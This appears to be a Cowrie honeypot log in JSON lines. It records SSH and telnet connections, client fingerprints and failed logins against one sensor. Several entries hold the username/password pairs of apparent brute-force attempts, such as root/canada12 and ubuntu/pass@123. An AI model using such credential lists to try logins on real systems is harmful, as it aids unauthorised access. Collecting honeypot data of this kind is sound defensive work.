{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:27.082313Z","src_ip":"220.119.37.141","session":"ae691ed04c31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37634,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a9e5f70a2a8","protocol":"telnet","message":"New connection: 161.132.53.68:37634 (159.203.135.109:23) [session: 3a9e5f70a2a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:27.707097Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37678,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f06a9067062","protocol":"telnet","message":"New connection: 161.132.53.68:37678 (159.203.135.109:23) [session: 4f06a9067062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:28.990593Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37708,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6a2590a48f4","protocol":"telnet","message":"New connection: 161.132.53.68:37708 (159.203.135.109:23) [session: c6a2590a48f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:29.740884Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37722,"dst_ip":"159.203.135.109","dst_port":23,"session":"55e17a4244d7","protocol":"telnet","message":"New connection: 161.132.53.68:37722 (159.203.135.109:23) [session: 55e17a4244d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:30.262108Z"}
{"eventid":"cowrie.session.closed","duration":33.38451409339905,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:31.157624Z","src_ip":"161.132.53.68","session":"43e9cc7d6962","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37748,"dst_ip":"159.203.135.109","dst_port":23,"session":"38612b6e7e4d","protocol":"telnet","message":"New connection: 161.132.53.68:37748 (159.203.135.109:23) [session: 38612b6e7e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:32.488722Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37760,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e2cf13a2e72","protocol":"telnet","message":"New connection: 161.132.53.68:37760 (159.203.135.109:23) [session: 3e2cf13a2e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:33.141700Z"}
{"eventid":"cowrie.session.closed","duration":31.765581130981445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:34.036640Z","src_ip":"161.132.53.68","session":"02c53ce5daed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37828,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1b02ed3fa40","protocol":"telnet","message":"New connection: 161.132.53.68:37828 (159.203.135.109:23) [session: b1b02ed3fa40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:36.019393Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.174","src_port":44558,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8bc214b4722","protocol":"telnet","message":"New connection: 66.132.186.174:44558 (10.17.0.5:23) [session: c8bc214b4722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:37.712912Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":55526,"dst_ip":"159.203.135.109","dst_port":23,"session":"371fcd785f7a","protocol":"telnet","message":"New connection: 161.132.53.68:55526 (159.203.135.109:23) [session: 371fcd785f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:38.713594Z"}
{"eventid":"cowrie.session.closed","duration":31.266683101654053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:39.805255Z","src_ip":"161.132.53.68","session":"e3210a14c813","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":55542,"dst_ip":"159.203.135.109","dst_port":23,"session":"aad4c858482b","protocol":"telnet","message":"New connection: 161.132.53.68:55542 (159.203.135.109:23) [session: aad4c858482b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:41.142166Z"}
{"eventid":"cowrie.session.closed","duration":33.00910782814026,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:41.520939Z","src_ip":"161.132.53.68","session":"ffcf9b4fa33f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.75878429412842,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:42.150341Z","src_ip":"104.245.105.2","session":"61189702511a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.048364400863647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:45.684707Z","src_ip":"161.132.53.68","session":"0f1b638a2a88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999226331710815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:46.437993Z","src_ip":"161.132.53.68","session":"c5c1b5ce76a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35298752784729,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:47.930948Z","src_ip":"161.132.53.68","session":"60a94d61f15d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.687875032424927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:49.435894Z","src_ip":"161.132.53.68","session":"39d59252e608","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.7102632522583,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:54.353091Z","src_ip":"161.132.53.68","session":"0e971c1b083b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":55252,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e0b4612f437","protocol":"ssh","message":"New connection: 223.17.5.126:55252 (159.203.135.109:22) [session: 2e0b4612f437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:54.445564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:54.452002Z","src_ip":"223.17.5.126","session":"2e0b4612f437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:54.671458Z","src_ip":"223.17.5.126","session":"2e0b4612f437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.991081953048706,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:54.703879Z","src_ip":"66.132.186.174","session":"c8bc214b4722","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"canada12","message":"login attempt [root/canada12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:55.581117Z","src_ip":"223.17.5.126","session":"2e0b4612f437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:56.803052Z","src_ip":"223.17.5.126","session":"2e0b4612f437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.514869928359985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:58.221801Z","src_ip":"161.132.53.68","session":"3a9e5f70a2a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":54210,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d6ad1d79616","protocol":"ssh","message":"New connection: 114.35.59.237:54210 (10.17.0.5:22) [session: 6d6ad1d79616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:59.220036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:59.223866Z","src_ip":"114.35.59.237","session":"6d6ad1d79616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.174","src_port":19574,"dst_ip":"10.17.0.5","dst_port":23,"session":"05bba1f329d1","protocol":"telnet","message":"New connection: 66.132.186.174:19574 (10.17.0.5:23) [session: 05bba1f329d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:59.332112Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:59.431803Z","src_ip":"114.35.59.237","session":"6d6ad1d79616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.445074558258057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:00.185845Z","src_ip":"161.132.53.68","session":"c6a2590a48f4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"linux","password":"admin","message":"login attempt [linux/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:00.297010Z","src_ip":"114.35.59.237","session":"6d6ad1d79616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.954089403152466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:00.944568Z","src_ip":"161.132.53.68","session":"4f06a9067062","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:01.509965Z","src_ip":"114.35.59.237","session":"6d6ad1d79616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52108,"dst_ip":"159.203.135.109","dst_port":23,"session":"19c5dd208d41","protocol":"telnet","message":"New connection: 161.132.53.68:52108 (159.203.135.109:23) [session: 19c5dd208d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:02.165684Z"}
{"eventid":"cowrie.session.closed","duration":3.322613000869751,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:02.654612Z","src_ip":"66.132.186.174","session":"05bba1f329d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":33192,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d2207d1e490","protocol":"ssh","message":"New connection: 141.11.21.145:33192 (10.17.0.5:22) [session: 1d2207d1e490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:03.130208Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:03.210948Z","src_ip":"141.11.21.145","session":"1d2207d1e490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":33196,"dst_ip":"10.17.0.5","dst_port":22,"session":"0557be3aa4e4","protocol":"ssh","message":"New connection: 141.11.21.145:33196 (10.17.0.5:22) [session: 0557be3aa4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:03.294206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:03.300424Z","src_ip":"141.11.21.145","session":"0557be3aa4e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.0828583240509,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:03.344761Z","src_ip":"161.132.53.68","session":"55e17a4244d7","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:03.392441Z","src_ip":"141.11.21.145","session":"0557be3aa4e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yourh","password":"dmiip2020","message":"login attempt [yourh/dmiip2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:03.645750Z","src_ip":"141.11.21.145","session":"0557be3aa4e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.990093231201172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:04.131666Z","src_ip":"161.132.53.68","session":"3e2cf13a2e72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.788525342941284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:04.277124Z","src_ip":"161.132.53.68","session":"38612b6e7e4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:04.733114Z","src_ip":"141.11.21.145","session":"0557be3aa4e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.174","src_port":38444,"dst_ip":"10.17.0.5","dst_port":23,"session":"557c6981672f","protocol":"telnet","message":"New connection: 66.132.186.174:38444 (10.17.0.5:23) [session: 557c6981672f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:06.255384Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":41064,"dst_ip":"10.17.0.5","dst_port":22,"session":"131802d9defe","protocol":"ssh","message":"New connection: 88.205.172.170:41064 (10.17.0.5:22) [session: 131802d9defe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:06.576807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:06.588426Z","src_ip":"88.205.172.170","session":"131802d9defe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:06.764699Z","src_ip":"88.205.172.170","session":"131802d9defe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pass@123","message":"login attempt [ubuntu/pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:07.484079Z","src_ip":"88.205.172.170","session":"131802d9defe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":40348,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbd674db5103","protocol":"telnet","message":"New connection: 161.132.53.68:40348 (159.203.135.109:23) [session: cbd674db5103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:07.778206Z"}
{"eventid":"cowrie.session.closed","duration":31.767056941986084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:07.786163Z","src_ip":"161.132.53.68","session":"b1b02ed3fa40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":41708,"dst_ip":"159.203.135.109","dst_port":22,"session":"a74e4ab2d2b0","protocol":"ssh","message":"New connection: 200.105.172.184:41708 (159.203.135.109:22) [session: a74e4ab2d2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:08.113589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:08.118999Z","src_ip":"200.105.172.184","session":"a74e4ab2d2b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:35:08.244808Z","src_ip":"200.105.172.184","session":"a74e4ab2d2b0","protocol":"ssh"}
